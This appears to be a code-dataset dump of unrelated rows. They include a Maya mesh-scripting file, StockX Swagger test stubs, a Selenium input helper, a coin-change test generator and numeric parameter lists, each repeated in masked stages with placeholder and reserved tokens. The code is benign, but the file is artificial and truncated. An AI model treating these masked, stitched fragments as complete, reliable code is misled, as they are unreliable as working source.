dagObjects=True)\n\n\ndef get_faces(shapes):\n # cmds.select(clear=True)\n # print(shapes)\n face_data = []\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n geo = om2.MItMeshPolygon(mDagPath, mObj)\n while not geo.isDone():\n center = geo.center()\n print 'face index: {}'.format(geo.index())\n vertices = []\n for i in geo.getPoints(om2.MSpace.kWorld):\n vertices.append((i[0], i[1], i[2]))\n face_in = Face(shape, geo.index(), vertices, center)\n face_data.append(face_in)\n geo.next(0)\n\n return face_data\n\n\ndef get_vertex(shapes):\n vertex_data = []\n spc = om2.MSpace.kWorld\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n vtx = om2.MItMeshVertex(mDagPath, mObj)\n while not vtx.isDone():\n vtx_pos = vtx.position(spc)\n print 'vertex index: {}'.format(vtx.index()), vtx_pos\n face_in = Face(shape, vtx.index(), vtx_pos, None)\n vertex_data.append(face_in)\n vtx.next()\n\n return vertex_data\n\n\ndef set_pos_vertex(shapes, up_y):\n spc = om2.MSpace.kWorld\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n vtx = om2.MItMeshVertex(mDagPath, mObj)\n while not vtx.isDone():\n vtx_pos = vtx.position(spc)\n print 'vertex:'+str(vtx.index()), vtx_pos.y\n if vtx.index() & 1:\n vtx_pos.y += up_y\n vtx.setPosition(vtx_pos, spc)\n vtx.next()\n\n vtx.updateSurface()\n\n\ndef set_random_vertex(shapes, up_y):\n spc = om2.MSpace.kWorld\n for shape in shapes:\n mSel = om2.MSelectionList()\n mSel.add(shape)\n mDagPath, mObj = mSel.getComponent(0)\n vtx = om2.MItMeshVertex(mDagPath, mObj)\n while not vtx.isDone():\n vtx_pos = vtx.position(spc)\n print 'vertex:'+str(vtx.index()), vtx_pos.y\n vtx_pos.z += random.uniform(0, up_y)\n vtx.setPosition(vtx_pos, spc)\n vtx.next()\n\n vtx.updateSurface()\n\n\ndef create_boxes(shapes, group_name, shape_name, on_face):\n if on_face:\n face_data = get_faces(shapes)\n else:\n face_data = get_vertex(shapes)\n cmds.group(em=True, name=group_name)\n for face in face_data:\n # print(face.face_index, face.face_path, face.face_center)\n if face.face_index & 1:\n cmds.select(face.face_path, add=True)\n p_name = shape_name + str(face.face_index)\n cmds.polyCube(n=p_name) # create polyCube name by p_ + face index\n cmds.setAttr(p_name+'.scale', 0.3, 0.3, 0.3)\n if on_face:\n cmds.setAttr(\n p_name+'.translate', face.face_center[0], face.face_center[1], face.face_center[2])\n else:\n cmds.setAttr(p_name+'.translate', face.vertex.x,\n face.vertex.y, face.vertex.z)\n cmds.select(all=True)\n cmds.parent(p_name, group_name) \n # cmds.group(p_name, parent=group_name)\n cmds.select(all=True)\n\n\ndef start():\n # shapes = cmds.ls(selection=True, shapes=True, dagObjects=True)\n # set_pos_vertex(get_shapes(), 1)\n # set_random_vertex(get_shapes(), 1)\n create_boxes(get_shapes(), 'boxes', 'v_', 0)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }	[ 0 ]
<\|reserved_special_token_0\|> class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): <\|reserved_special_token_0\|> def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass if __name__ == '__main__': unittest.main() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> from __future__ import absolute_import import unittest import io_stockx from io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia from io_stockx.rest import ApiException class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" pass if __name__ == '__main__': unittest.main() <\|reserved_special_token_1\|> # coding: utf-8 """ StockX API PRERELEASE API - Subject to change before release. Provides access to StockX's public services, allowing end users to query for product and order information. # noqa: E501 OpenAPI spec version: 1.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import io_stockx from io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia # noqa: E501 from io_stockx.rest import ApiException class TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase): """PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs""" def setUp(self): pass def tearDown(self): pass def testPortfolioIdDelResponsePortfolioItemProductMedia(self): """Test PortfolioIdDelResponsePortfolioItemProductMedia""" # FIXME: construct object with mandatory attributes with example values # model = io_stockx.models.portfolio_id_del_response_portfolio_item_product_media.PortfolioIdDelResponsePortfolioItemProductMedia() # noqa: E501 pass if __name__ == '__main__': unittest.main()	flexible	{ "blob_id": "ae88418ccfdaa4b357a2491f6450dbcda55b1c21", "index": 2013, "step-1": "<mask token>\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n <mask token>\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "<mask token>\nfrom __future__ import absolute_import\nimport unittest\nimport io_stockx\nfrom io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia\nfrom io_stockx.rest import ApiException\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "# coding: utf-8\n\n\"\"\"\n StockX API\n\n PRERELEASE API - Subject to change before release. Provides access to StockX's public services, allowing end users to query for product and order information. # noqa: E501\n\n OpenAPI spec version: 1.0.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nfrom __future__ import absolute_import\n\nimport unittest\n\nimport io_stockx\nfrom io_stockx.models.portfolio_id_del_response_portfolio_item_product_media import PortfolioIdDelResponsePortfolioItemProductMedia # noqa: E501\nfrom io_stockx.rest import ApiException\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n \"\"\"PortfolioIdDelResponsePortfolioItemProductMedia unit test stubs\"\"\"\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponsePortfolioItemProductMedia(self):\n \"\"\"Test PortfolioIdDelResponsePortfolioItemProductMedia\"\"\"\n # FIXME: construct object with mandatory attributes with example values\n # model = io_stockx.models.portfolio_id_del_response_portfolio_item_product_media.PortfolioIdDelResponsePortfolioItemProductMedia() # noqa: E501\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 4, 5, 6, 7, 8 ] }	[ 4, 5, 6, 7, 8 ]
# -- coding: utf-8 -- from selenium.webdriver.common.keys import Keys from titan.components import Base class Input(Base): def clear(self): element = self.driver.find_element_by_xpath(self.params['xpath']) if self.params.get('clear', None): element.clear() return True element.click() space_num = self.params['space']if self.params.get('space', None) else 4 while space_num: space_num -= 1 element.send_keys(Keys.BACK_SPACE) def text(self): print(self.params) element = self.driver.find_element_by_xpath(self.params['xpath']) element.send_keys(self.params['text'])	normal	{ "blob_id": "7503a0c8f83ff0ce370ed7bce733b09d9a2c69c4", "index": 817, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n", "step-4": "from selenium.webdriver.common.keys import Keys\nfrom titan.components import Base\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n element.click()\n space_num = self.params['space'] if self.params.get('space', None\n ) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n", "step-5": "# -- coding: utf-8 --\nfrom selenium.webdriver.common.keys import Keys\nfrom titan.components import Base\n\n\nclass Input(Base):\n\n def clear(self):\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n if self.params.get('clear', None):\n element.clear()\n return True\n\n element.click()\n space_num = self.params['space']if self.params.get('space', None) else 4\n while space_num:\n space_num -= 1\n element.send_keys(Keys.BACK_SPACE)\n\n def text(self):\n print(self.params)\n element = self.driver.find_element_by_xpath(self.params['xpath'])\n element.send_keys(self.params['text'])\n\n", "step-ids": [ 0, 2, 3, 4, 5 ] }	[ 0, 2, 3, 4, 5 ]
#!/usr/bin/python from random import * prob = "change" cases = [ 10, 10, 10, 100, 100, 100000, 100000, 100000, 100000, 100000 ] cur = 0 st = [1,2,5,10,20,50,100,200,500,1000,2000,5000,10000] for (n) in cases : cout = "" cur += 1 print "make %d..." % cur ##----- #TODO generate the data tot = 0 stt = [] for a in st : for b in st : if b < a and a <= n : tot = tot + 1 stt.append( (a,b) ) cout += "%d\n" % tot for (a,b) in stt : cout += "%d %d\n" % (a, b) ##----- f = file( prob + str(cur) + ".in", "w" ) f.write( cout ) f.close()	normal	{ "blob_id": "2cef5311a9ff9497ad6611fe7b47e4f7c5b1b3c7", "index": 7581, "step-1": "#!/usr/bin/python\n\nfrom random import *\n\nprob = \"change\"\n\ncases = [ \n 10,\n 10,\n 10,\n 100,\n 100,\n 100000,\n 100000,\n 100000,\n 100000,\n 100000\n ]\ncur = 0\n\nst = [1,2,5,10,20,50,100,200,500,1000,2000,5000,10000]\n\nfor (n) in cases :\n cout = \"\"\n cur += 1\n print \"make %d...\" % cur\n##-----\n#TODO generate the data\n\n tot = 0\n stt = []\n for a in st :\n for b in st :\n if b < a and a <= n :\n tot = tot + 1\n stt.append( (a,b) )\n cout += \"%d\\n\" % tot\n for (a,b) in stt :\n cout += \"%d %d\\n\" % (a, b)\n\n\n##-----\n f = file( prob + str(cur) + \".in\", \"w\" )\n f.write( cout )\n f.close()\n\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }	[ 0 ]
one=[7.236287049225701e-06, -1.445911565527231e-12, -1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10, -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10, 135323228000.64511, 130464457208.5385] two=[6.101651991514008e-06, -1.2764740103418866e-12, -1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05, -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10, 194360719320.3122, 75684271432.82758] three=[6.4442734160126695e-06, -1.2463732938819767e-12, -1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, 40874176708.45886, 129961018217.7445] four=[5.591985036569838e-06, -1.5732644861037622e-12, -1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10, 95538034865.65512, 192689393537.75766] five=[5.9877501684316964e-06, -1.4725222964411265e-12, -2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10, 172629547544.72174, 121012464101.10771] six = [6.525636151737385e-10, -1.5516831882387681e-12, -1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10, -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497686e-05, -1.9757021060346726e-06, -1.5031696163247858e-08, 8.945619840357268e-10, 99871865434.22476, 123933224114.80229] first1_gen= [[6.417695307686038e-06, -1.2416886913890308e-12, -1.791907685050265e-13, 3.983180616117193e-11, -7.243488055496258e-11, -1.1211433897576025e-15, 3.855466000081844e-16, 2.7255618460061466e-05, -1.917823676019374e-06, -1.6515339421288782e-08, 9.011563904603084e-10, 37866240406.859344, 251532289608.81], [5.974092884160685e-06, -1.4591405170404072e-12, -2.0184675219747084e-13, 4.3821744446480515e-11, -7.22093644433135e-11, -1.0712173220027044e-15, 3.65758224365464e-16, 2.235294071412983e-05, -1.763797302814154e-06, -1.6059311052756668e-08, 8.601004856702239e-10, 50907349656.8246, 117645129547.73723], [7.171513003462397e-06, -1.4334443716578728e-12, -1.749514610735409e-13, 5.509823004788858e-11, -2.5310572250093563e-10, -1.1729621402736547e-15, 3.321162280251396e-16, 2.4812886502853343e-05, -1.964119169077712e-06, -1.4799846596325615e-08, 8.965548334484032e-10, 85071583311.774, 128667385131.30013], [7.3000149385339486e-06, -1.4508582334938624e-12, -1.7446896418754742e-13, 5.109944355076077e-11, -2.5448794058714256e-10, -1.1658376910672744e-15, 3.1827015830354867e-16, 2.502027767038304e-05, -1.9664311146400523e-06, -1.4730561693079958e-08, 8.945619840357268e-10, 88113858040.47986, 127558862768.52084], [5.581899283069486e-06, -1.5683042319109065e-12, -1.2586540738798186e-13, 5.535493146365402e-11, -2.359264703422783e-10, -2.1583737575101563e-15, 3.2921934547988314e-16, 2.2287538734129395e-05, -1.8740196054647742e-06, -1.5117323048065992e-08, 9.114608510796109e-10, 90926368846.81926, 202187413440.1054], [7.283321725975412e-06, -1.4356567410151954e-12, -1.7340660013452496e-13, 5.090884822547887e-11, -2.5483963758954753e-10, -1.139281753854116e-15, 3.1970242364315826e-16, 2.7105518268805634e-05, -1.963160298901409e-06, -1.4681586301228543e-08, 8.916460477308206e-10, 142505061534.36484, 476063714570.38367], [5.591985036569838e-06, -1.582675728169255e-12, -1.7359285477580936e-13, 5.508993685740796e-11, -2.5320893657294154e-10, -2.1583737575101563e-15, 3.210132219509301e-16, 2.511654073479438e-05, -1.965555797894771e-06, -1.5140087108671845e-08, 9.214909160927855e-10, 154168790181.56195, 151975095946.00134], [6.4442734160126695e-06, -1.5732644861037622e-12, -1.8036634758606428e-13, 5.508993685740796e-11, -7.27534017567909e-11, -2.1583737575101563e-15, 3.306758579127667e-16, 2.2271668826613973e-05, -1.8701423073554431e-06, -1.501078224172373e-08, 8.952907812465134e-10, 267883353895.00665, 158759045786.36343], [6.460391520361948e-06, -1.2647094709156108e-12, -1.7971415732486973e-13, 4.396430723625485e-11, -7.247266456377939e-11, -1.1373744765683215e-15, 3.658727722774004e-16, 2.7105518268805634e-05, -1.9663482803776534e-06, -1.6397993463300374e-08, 8.923803313149724e-10, 349965962553.9084, 297837273933.3269], [5.6272383047081095e-06, -1.5732644861037622e-12, -1.2571170147507106e-13, 5.534697362808701e-11, -2.3610413258218975e-10, -1.1709514644876058e-15, 3.2295817320330796e-16, 2.2314117324425535e-05, -1.8663649176622442e-06, -1.4769695480936238e-08, 9.134128217572173e-10, 393807734620.02893, 1450122303072.2456], [6.437914022666636e-06, -1.2546731037733632e-12, -1.7844406460041829e-13, 5.488975389250315e-11, -7.259445338393382e-11, -2.1597092009682793e-15, 3.3041861616205316e-16, 2.240369111953624e-05, -1.876360375320595e-06, -1.648586510957147e-08, 9.134128217572173e-10, 630890128752.3734, 431834854178.85406], [6.046575120541287e-06, -1.2764740103418866e-12, -1.746683186012092e-13, 5.109944355076077e-11, -2.520608616913497e-10, -1.0704525109919603e-15, 3.6772692838424905e-16, 2.971296945414015e-05, -1.951293357817624e-06, -1.4769695480936238e-08, 8.939102135383639e-10, 871857905030.9667, 2328286443290.7437], [6.051000675950963e-06, -1.2846825520511646e-12, -1.268060597488819e-13, 5.490952472465525e-11, -2.3244121922778247e-10, -2.1424540029363198e-15, 3.673980081076506e-16, 2.961326937497751e-05, -1.895367635724618e-06, -1.5034205062876655e-08, 9.16195585945909e-10, 1374938673042.5493, 4524615824537.332], [5.6149092148265474e-06, -1.4639678768975506e-12, -1.253161090730697e-13, 4.481233479664715e-11, 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-1.5013783998899997e-08, 8.735477478457909e-10, 131821303340.10287, \n 132556338910.10567]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0382265280257245e-11, -1.743336316696023e-10, -1.813766783798406e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.735477478457909e-10, 129406444985.873, \n 132653030892.18918]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7480334166671461e-06, \n -1.520980077906525e-08, 8.721578527250325e-10, 133865099427.32999, \n 140436120253.29218]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99377, \n 143105235055.60883]\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69417, \n 143860615432.91846]\n[2.2282051950271776e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, \n 143868003797.30536]\n[-9.575357968769427e-09, -1.2028279049571785e-12, -2.1051647732787472e-13, \n 5.039644867967898e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.430575474541962e-16, 1.9863936167468564e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.749223081325664e-10, 121395913545.80966, \n 144269444777.14786]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.2957, \n 145085114899.6645]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7471650977559177e-10, -1.8261648304268637e-15,\n 7.416691902768309e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.04602, \n 145085114900.12366]\n[2.2082942462171206e-10, -1.2071709641632366e-12, -2.0913778067377877e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.5074975460776788e-08, 8.721578527250325e-10, 109968109293.02217, \n 145590447784.79443]\n[2.22213071071529e-10, -1.2059133330572482e-12, -2.1085309656936224e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760267738096764e-10, 111899934222.58044, \n 153694065180.84283]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.0866854154642685e-13, \n 5.011120217163613e-11, -1.766361848796505e-10, -1.8339694239958517e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760544278271184e-10, 112511385038.11157, \n 154263245256.49524]\n[3.868816176815073e-09, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.4920809345224143e-08, 8.750599822793858e-10, 102250033424.31876, \n 164710456294.5225]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.452586179271996e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, \n 170174200265.44513]\n", "step-3": "one = [7.236287049225701e-06, -1.445911565527231e-12, -\n 1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10,\n -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, \n -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10,\n 135323228000.64511, 130464457208.5385]\ntwo = [6.101651991514008e-06, -1.2764740103418866e-12, -\n 1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, \n -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05,\n -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10,\n 194360719320.3122, 75684271432.82758]\nthree = [6.4442734160126695e-06, -1.2463732938819767e-12, -\n 1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, \n -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, \n -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, \n 40874176708.45886, 129961018217.7445]\nfour = [5.591985036569838e-06, -1.5732644861037622e-12, -\n 1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, \n -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, \n -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10,\n 95538034865.65512, 192689393537.75766]\nfive = [5.9877501684316964e-06, -1.4725222964411265e-12, -\n 2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, \n -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, \n -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10,\n 172629547544.72174, 121012464101.10771]\nsix = [6.525636151737385e-10, -1.5516831882387681e-12, -\n 1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10,\n -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497687e-05,\n -1.9757021060346727e-06, -1.5031696163247857e-08, 8.945619840357268e-10,\n 99871865434.22476, 123933224114.80229]\nfirst1_gen = [[6.417695307686038e-06, -1.2416886913890308e-12, -\n 1.791907685050265e-13, 3.983180616117193e-11, -7.243488055496258e-11, -\n 1.1211433897576025e-15, 3.855466000081844e-16, 2.7255618460061466e-05, \n -1.917823676019374e-06, -1.6515339421288782e-08, 9.011563904603084e-10,\n 37866240406.859344, 251532289608.81], [5.974092884160685e-06, -\n 1.4591405170404072e-12, -2.0184675219747084e-13, 4.3821744446480515e-11,\n -7.22093644433135e-11, -1.0712173220027044e-15, 3.65758224365464e-16, \n 2.235294071412983e-05, -1.763797302814154e-06, -1.6059311052756668e-08,\n 8.601004856702239e-10, 50907349656.8246, 117645129547.73723], [\n 7.171513003462397e-06, -1.4334443716578728e-12, -1.749514610735409e-13,\n 5.509823004788858e-11, -2.5310572250093563e-10, -1.1729621402736547e-15,\n 3.321162280251396e-16, 2.4812886502853343e-05, -1.964119169077712e-06, \n -1.4799846596325615e-08, 8.965548334484032e-10, 85071583311.774, \n 128667385131.30013], [7.3000149385339486e-06, -1.4508582334938624e-12, \n -1.7446896418754742e-13, 5.109944355076077e-11, -2.5448794058714256e-10,\n -1.1658376910672744e-15, 3.1827015830354867e-16, 2.502027767038304e-05,\n -1.9664311146400523e-06, -1.4730561693079958e-08, 8.945619840357268e-10,\n 88113858040.47986, 127558862768.52084], [5.581899283069486e-06, -\n 1.5683042319109065e-12, -1.2586540738798186e-13, 5.535493146365402e-11,\n -2.359264703422783e-10, -2.1583737575101563e-15, 3.2921934547988314e-16,\n 2.2287538734129395e-05, -1.8740196054647742e-06, -\n 1.5117323048065992e-08, 9.114608510796109e-10, 90926368846.81926, \n 202187413440.1054], [7.283321725975412e-06, -1.4356567410151954e-12, -\n 1.7340660013452496e-13, 5.090884822547887e-11, -2.5483963758954753e-10,\n -1.139281753854116e-15, 3.1970242364315826e-16, 2.7105518268805634e-05,\n -1.963160298901409e-06, -1.4681586301228543e-08, 8.916460477308206e-10,\n 142505061534.36484, 476063714570.38367], [5.591985036569838e-06, -\n 1.582675728169255e-12, -1.7359285477580936e-13, 5.508993685740796e-11, \n -2.5320893657294154e-10, -2.1583737575101563e-15, 3.210132219509301e-16,\n 2.511654073479438e-05, -1.965555797894771e-06, -1.5140087108671845e-08,\n 9.214909160927855e-10, 154168790181.56195, 151975095946.00134], [\n 6.4442734160126695e-06, -1.5732644861037622e-12, -\n 1.8036634758606428e-13, 5.508993685740796e-11, -7.27534017567909e-11, -\n 2.1583737575101563e-15, 3.306758579127667e-16, 2.2271668826613973e-05, \n -1.8701423073554431e-06, -1.501078224172373e-08, 8.952907812465134e-10,\n 267883353895.00665, 158759045786.36343], [6.460391520361948e-06, -\n 1.2647094709156108e-12, -1.7971415732486973e-13, 4.396430723625485e-11,\n -7.247266456377939e-11, -1.1373744765683215e-15, 3.658727722774004e-16,\n 2.7105518268805634e-05, -1.9663482803776534e-06, -\n 1.6397993463300374e-08, 8.923803313149724e-10, 349965962553.9084, \n 297837273933.3269], [5.6272383047081095e-06, -1.5732644861037622e-12, -\n 1.2571170147507106e-13, 5.534697362808701e-11, -2.3610413258218975e-10,\n -1.1709514644876058e-15, 3.2295817320330796e-16, 2.2314117324425535e-05,\n -1.8663649176622442e-06, -1.4769695480936238e-08, 9.134128217572173e-10,\n 393807734620.02893, 1450122303072.2456], [6.437914022666636e-06, -\n 1.2546731037733632e-12, -1.7844406460041829e-13, 5.488975389250315e-11,\n -7.259445338393382e-11, -2.1597092009682793e-15, 3.3041861616205316e-16,\n 2.240369111953624e-05, -1.876360375320595e-06, -1.648586510957147e-08, \n 9.134128217572173e-10, 630890128752.3734, 431834854178.85406], [\n 6.046575120541287e-06, -1.2764740103418866e-12, -1.746683186012092e-13,\n 5.109944355076077e-11, -2.520608616913497e-10, -1.0704525109919603e-15,\n 3.6772692838424905e-16, 2.971296945414015e-05, -1.951293357817624e-06, \n -1.4769695480936238e-08, 8.939102135383639e-10, 871857905030.9667, \n 2328286443290.7437], [6.051000675950963e-06, -1.2846825520511646e-12, -\n 1.268060597488819e-13, 5.490952472465525e-11, -2.3244121922778247e-10, \n -2.1424540029363198e-15, 3.673980081076506e-16, 2.961326937497751e-05, \n -1.895367635724618e-06, -1.5034205062876655e-08, 9.16195585945909e-10, \n 1374938673042.5493, 4524615824537.332], 